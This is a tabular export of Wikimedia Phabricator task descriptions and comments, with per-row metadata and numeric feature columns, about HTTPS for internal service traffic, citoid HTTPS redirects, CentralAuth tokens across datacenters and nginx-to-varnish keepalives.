+505622,http://citoid.wikimedia.org/ should force HTTPS,">>! In T108632#1526118, @mobrovac wrote:
+> Hopefully we will be able to turn off `parsoidcache` soon(TM), which effectively means `citoid.wikimedia.org` would disappear. Instead, Citoid requests would be served by #RESTBase (cf {T108646}).
+
+Oh. :-(
+
+> @Jdforrester-WMF apart from Citoid's extension, are there any other known users of `citoid.wikimedia.org`?
+
+Quite a few gadgets and user scripts out there. This has been the public URL for months and we've encouraged developers to use it. Deprecating it is fine, but removing it all of a sudden would not be very cool.",,,1439249475,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2stu42ot7wllu4sdd6e5,task_subcomment,,True,c3,3,True,,,5,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+505620,http://citoid.wikimedia.org/ should force HTTPS,"@mobrovac: the code used to redirect the main sites can be enabled for parsoidcache with the flick of a virtual switch.  We just didn't do it yet because of fears some consumers of the services hosted there (parsoid, citoid, cxserver, graphoid, restbase) not being compatible with the redirects, and there are other bigger fish to fry first :)
+
+If you think we can flip the switch now, I'm all for it.",,,1439249428,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-2stu42ot7wllu4sdd6e5,task_subcomment,,True,c3,3,True,,,5,True,1,0,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,1,0,0
+505616,http://citoid.wikimedia.org/ should force HTTPS,"Hopefully we will be able to turn off `parsoidcache` soon(TM), which effectively means `citoid.wikimedia.org` would disappear. Instead, Citoid requests would be served by #RESTBase (cf {T108646}).
+
+@BBlack is there a (possibly-trivial) way to set the redirection up in `parsoidcache`? Given that we'd all like to get rid of it and try to work towards that, does it make sense to set it up at all?
+
+@Jdforrester-WMF apart from Citoid's extension, are there any other known users of `citoid.wikimedia.org`?",,,1439249266,,PHID-USER-hxwwywcyzpooynxuo7a2,True,,,PHID-TASK-2stu42ot7wllu4sdd6e5,task_subcomment,,True,c3,3,True,,,5,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1
+108580,HTTPS for internal service traffic,"Eventually we'll want all HTTP traffic on internal networks converted to HTTPS.  We should ideally be using client certificate auth with this access as well, so that link traffic injection into supposedly-private service endpoints isn't so easy.
+
+The most critical cases are traffic that's currently crossing inter-datacenter WAN links, or will be soon.  However, it's simpler and more-secure in the long run if we just aim to do this for everything regardless of the locality of the traffic sources.
+
+Key cases to work on first:
+1. Tier-2->Tier-1 varnish cache traffic - Currently secured by IPSec, but we could drop IPSec in favor of an HTTPS solution and keep things simpler and more standardized.  This is also a relatively-easy target to work out a lot of implementation and puppetization issues before moving on to other cases.
+2. Tier-1 -> *.svc.(codfw|eqiad).wmnet - We'll likely have the ability and desire to put user and cache-backhaul traffic through the codfw cache clusters well ahead of when we're ready for multi-DC at the application layer.  This implies codfw cache clusters backending to eqiad service addresses.  The IPSec solution currently used for inter-tier varnish traffic above doesn't work for this case, as the service traffic routes through LVS, but HTTPS would work fine here.
+
+In certificate terms, we'll want to use a new local CA to issue certificates within wmnet.  The idea would be to create SAN-based certs per cluster for the service hostnames offered by that cluster.  For example, mw[0-9]+.eqiad.wmnet machines might share a cert with SAN elements for e.g. appservers.svc.eqiad.wmnet and api.svc.eqiad.wmnet, and the sca cluster machines might have SANs for citoid.svc.eqiad.wmnet, graphoid.svc.eqiad.wmnet, etc...
+
+In case 1, the server-side HTTPS termination can be the same nginx instance used for production frontend traffic, with some additional configuration and/or listeners defined.
+In case 2, the server-side HTTPS termination would probably be easiest with a separate inbound TLS proxy (probably a simple variant on the cache clusters' nginx tlsproxy puppet module), so that we don't have to integrate it with all of the server/alias stanzas in the apache configs for now.
+
+In both cases, the primary (most important for the moment, anyways) client traffic source is the varnish instances on the cache clusters.  These don't do outbound HTTPS natively, but I think we can address that by using a local proxy on each machine like [[ https://www.stunnel.org/ | STunnel ]].  For example, instead of varnish defining the appservers backend as direct access to appservers.svc.eqiad.wmnet:443, it would define it as connecting to localhost:12345, which is an stunnel daemon configured to connect to appservers.svc.eqiad.wmnet:443 for it.
+
+Client cert auth would be based on per-machine certificates.  e.g. cp1065.eqiad.wmnet would have a cert for its own hostname for the toubound stunnel proxy to use, and we'd need a local CA that the appservers trust for client certs.  The easiest path for this would be to re-use the puppet machine certs and CA for this, but one issue there is that the last time we re-did the puppet cert infrastructure we inexplicably upgraded them to 4K RSA, which could be too much perf impact for this kind of scenario.  2K would have been better.  If we're going to re-use puppet certs as client certs, it would be best to first to fix the 4K problem.",Medium,50.0,1439214010,1638952336.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-spcngbyufhlv6qsdoqev,False,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_description,resolved,True,c3,3,True,False,False,5,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+1829842,HTTPS for internal service traffic,,,,1638952401,,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,True,,,335,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1829841,HTTPS for internal service traffic,,,,1638952349,,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,True,,,335,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1829840,HTTPS for internal service traffic,"Many of the assumptions made when this task was created have changed since the migration to ATS for cache backends (no more IPSec, the difference between Tier1 and Tier2 DCs is now gone, ...). We are now in a world where all backend caches access the origins via TLS, which I think largely covers what we wanted to achieve here. @bblack: I'm marking the task as resolved, but of course feel free to reopen / create other tasks as needed if you think that anything is missing.",,,1638952336,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,True,,,335,True,1,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0
+1777823,HTTPS for internal service traffic,"The swap of #traffic for #traffic-icebox in this ticket's set of tags was based on a bulk action for all such tickets that haven't been updated in 6 months or more.  This does not imply any human judgement about the validity or importance of the task, and is simply the first step in a larger task cleanup effort.  Further manual triage and/or requests for updates will happen this month for all such tickets.  For more detail, have a look at the extended explanation on the main page of #traffic-icebox .  Thank you!",,,1630538490,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,True,,,321,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0
+1634819,HTTPS for internal service traffic,">>! In T108580#6488253, @BBlack wrote:
+> $ grep 'replacement: http:' hieradata/common/profile/trafficserver/backend.yaml 
+>       replacement: http://puppetmaster1001.eqiad.wmnet
+>       #replacement: http://puppetmaster2001.codfw.wmnet
+>       replacement: http://contint.wikimedia.org
+>       replacement: http://cloudweb2001-dev.wikimedia.org
+>       replacement: http://cloudweb2001-dev.wikimedia.org
+> ```
+> 
+> Do we need to clean these up in some new subtasks
+
+
+This is also already T210411",,,1608224521,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,True,,,285,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,1
+1588009,HTTPS for internal service traffic,">>! In T108580#6488253, @BBlack wrote:
+> Do we need to clean these up in some new subtasks
+
+Yup, tasks created!
+
+> and/or implement some check to prevent adding new http:// replacements?  @ema?
+
+I think it's enough for now to remember this at code review time and only add a check if we see that in practice new http backends do in fact get added.
+",,,1601022338,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,True,,,273,True,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,1
+1586730,HTTPS for internal service traffic,"All subtasks gone, but there are technically stlil a few edges cases showing up in the trafficserver backend-facing config.  Specifically:
+
+```
+$ grep 'replacement: http:' hieradata/common/profile/trafficserver/backend.yaml 
+      replacement: http://puppetmaster1001.eqiad.wmnet
+      #replacement: http://puppetmaster2001.codfw.wmnet
+      replacement: http://contint.wikimedia.org
+      replacement: http://cloudweb2001-dev.wikimedia.org
+      replacement: http://cloudweb2001-dev.wikimedia.org
+```
+
+Do we need to clean these up in some new subtasks, and/or implement some check to prevent adding new http:// replacements?  @ema?",,,1600879420,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,True,,,272,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,1
+505515,HTTPS for internal service traffic,"Change 230541 merged by BBlack:
+cache::config: replace lvs IP refs with service hostnames
+
+[[https://gerrit.wikimedia.org/r/230541]]",,,1439243386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+505154,HTTPS for internal service traffic,"Change 230541 had a related patch set uploaded (by BBlack):
+cache::config: replace lvs IP refs with service hostnames
+
+[[https://gerrit.wikimedia.org/r/230541]]
+",,,1439214427,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+108386,Kill MediaWiki.authmanager.login.*.failure.<number> statsd buckets,These have been obsoleted by https://gerrit.wikimedia.org/r/#/c/230034/ (which is deployed next week).,Medium,50.0,1438982860,1440563833.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-TASK-4olvwrz27is5olrl6us3,task_description,resolved,True,c3,3,True,False,True,5,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0
+514669,Kill MediaWiki.authmanager.login.*.failure.<number> statsd buckets,Sure. Done.,,,1440563833,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-4olvwrz27is5olrl6us3,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+514664,Kill MediaWiki.authmanager.login.*.failure.<number> statsd buckets,"@ori, could you do this?",,,1440562793,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-4olvwrz27is5olrl6us3,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0
+108253,Make sure CentralAuth login tokens work with two datacenters,"There is a lot of mixed GET/POST back and forth among domains on login in a short time period. The sticky DC cookie will not work cross-domains easily. Options include:
+a) Making login tokens and other sensitive cache/stash access use the BagOStuff READ_LATEST flag
+b) Locking those tokens to use a unified BagOStuff config pointing to a single set of servers in one DC
+c) Ugly VCL rules to treat CentralAuth login URLs like POST (not preferred)",Medium,50.0,1438898481,1441906989.0,PHID-USER-bmbmvb2e5bg6ztcangbq,False,PHID-USER-bmbmvb2e5bg6ztcangbq,False,PHID-TASK-beqepnzh34kwg5nsl35h,task_description,resolved,True,c3,3,True,True,True,5,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1
+522751,Make sure CentralAuth login tokens work with two datacenters,"Change 236823 merged by jenkins-bot:
+Converted SUL2 handshake tokens to use CentralAuthUser::getSessionCache()
+
+[[https://gerrit.wikimedia.org/r/236823]]",,,1441731230,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-beqepnzh34kwg5nsl35h,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+522750,Make sure CentralAuth login tokens work with two datacenters,"Change 236822 merged by jenkins-bot:
+Converted api-token store to CentralAuthUser::getSessionCache()
+
+[[https://gerrit.wikimedia.org/r/236822]]",,,1441731228,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-beqepnzh34kwg5nsl35h,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+522712,Make sure CentralAuth login tokens work with two datacenters,"Change 236823 had a related patch set uploaded (by 20after4):
+Converted SUL2 handshake tokens to use CentralAuthUser::getSessionCache()
+
+[[https://gerrit.wikimedia.org/r/236823]]
+",,,1441729165,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-beqepnzh34kwg5nsl35h,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+522711,Make sure CentralAuth login tokens work with two datacenters,"Change 236822 had a related patch set uploaded (by 20after4):
+Converted api-token store to CentralAuthUser::getSessionCache()
+
+[[https://gerrit.wikimedia.org/r/236822]]
+",,,1441729111,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-beqepnzh34kwg5nsl35h,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+521472,Make sure CentralAuth login tokens work with two datacenters,"Change 234922 merged by jenkins-bot:
+Converted SUL2 handshake tokens to use CentralAuthUser::getSessionCache()
+
+[[https://gerrit.wikimedia.org/r/234922]]",,,1441414228,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-beqepnzh34kwg5nsl35h,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+521471,Make sure CentralAuth login tokens work with two datacenters,"Change 234839 merged by jenkins-bot:
+Converted api-token store to CentralAuthUser::getSessionCache()
+
+[[https://gerrit.wikimedia.org/r/234839]]",,,1441414225,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-beqepnzh34kwg5nsl35h,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+517422,Make sure CentralAuth login tokens work with two datacenters,"Change 234922 had a related patch set uploaded (by Aaron Schulz):
+Converted SUL2 handshake tokens to use CentralAuthUser::getSessionCache()
+
+[[https://gerrit.wikimedia.org/r/234922]]
+",,,1440972437,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-beqepnzh34kwg5nsl35h,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+517277,Make sure CentralAuth login tokens work with two datacenters,"Change 234839 had a related patch set uploaded (by Aaron Schulz):
+Converted api-token store to CentralAuthUser::getSessionCache()
+
+[[https://gerrit.wikimedia.org/r/234839]]
+",,,1440921619,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-beqepnzh34kwg5nsl35h,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+107749,HTTP/1.1 keepalive for local nginx->varnish conns,"Our current nginx config uses a separate HTTP/1.0 TCP connection for each request from nginx->varnish.  Theses happen over the loopback interface so there's virtually zero latency impact from the handshakes, but it would be more efficient in general to use HTTP/1.1 keepalives, and reduce the bloat of TIME_WAIT sockets on the servers.
+
+Typical socket states for nginx->varnish local connections currently (cp1065 has 32 worker threads, and each would have at most one connection established at any given moment, constantly breaking and re-making it):
+```
+root@cp1065:~# netstat -an|grep '10.64.0.102:80[        ]*10.64.0.102'|awk '{print $6}'|sort|uniq -c
+     32 ESTABLISHED
+      9 FIN_WAIT2
+  63688 TIME_WAIT
+```
+
+With keepalive patch manually applied (each of the 32 worker processes spawns parallel keepalive connections as necessary, with a maximum of 4x idle keepalive connections per process before it starts pruning them - so we'd expect 128 ESTABLISHED minimum at all times, and far fewer TIME_WAIT):
+```
+root@cp1065:~# netstat -an|grep '10.64.0.102:80[        ]*10.64.0.102'|awk '{print $6}'|sort|uniq -c
+    144 ESTABLISHED
+      2 FIN_WAIT2
+   2053 TIME_WAIT
+```",Medium,50.0,1438605157,1480356334.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_description,declined,True,c3,3,True,True,False,4,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,1,1,1
+775973,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 323866 merged by BBlack:
+tlsproxy: be explicit about Conn:close
+
+[[https://gerrit.wikimedia.org/r/323866]]",,,1481556446,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,75,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+775972,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 323865 merged by BBlack:
+tlsproxy: remove unused keepalives complexity
+
+[[https://gerrit.wikimedia.org/r/323865]]",,,1481556445,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,75,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+767792,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 323866 had a related patch set uploaded (by BBlack):
+tlsproxy: be explicit about Conn:close
+
+[[https://gerrit.wikimedia.org/r/323866]]
+",,,1480356889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,73,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+767791,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 323865 had a related patch set uploaded (by BBlack):
+tlsproxy: remove unused keepalives complexity
+
+[[https://gerrit.wikimedia.org/r/323865]]
+",,,1480356888,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,73,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+767784,HTTP/1.1 keepalive for local nginx->varnish conns,"Should have resolved/rejected this back in T107749#2662491 - at this point it's just a collector of semi-related commits, but I don't think we plan to actually turn on keepalives at this layer, with this software stack.  It's too risky.",,,1480356325,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,73,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+748779,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317544 merged by BBlack:
+http2 concurrency: back to defaults
+
+[[https://gerrit.wikimedia.org/r/317544]]",,,1477330445,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+748778,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317544 had a related patch set uploaded (by BBlack):
+http2 concurrency: back to defaults
+
+[[https://gerrit.wikimedia.org/r/317544]]
+",,,1477330431,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+748768,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317543 merged by BBlack:
+http2 concurrency: 32
+
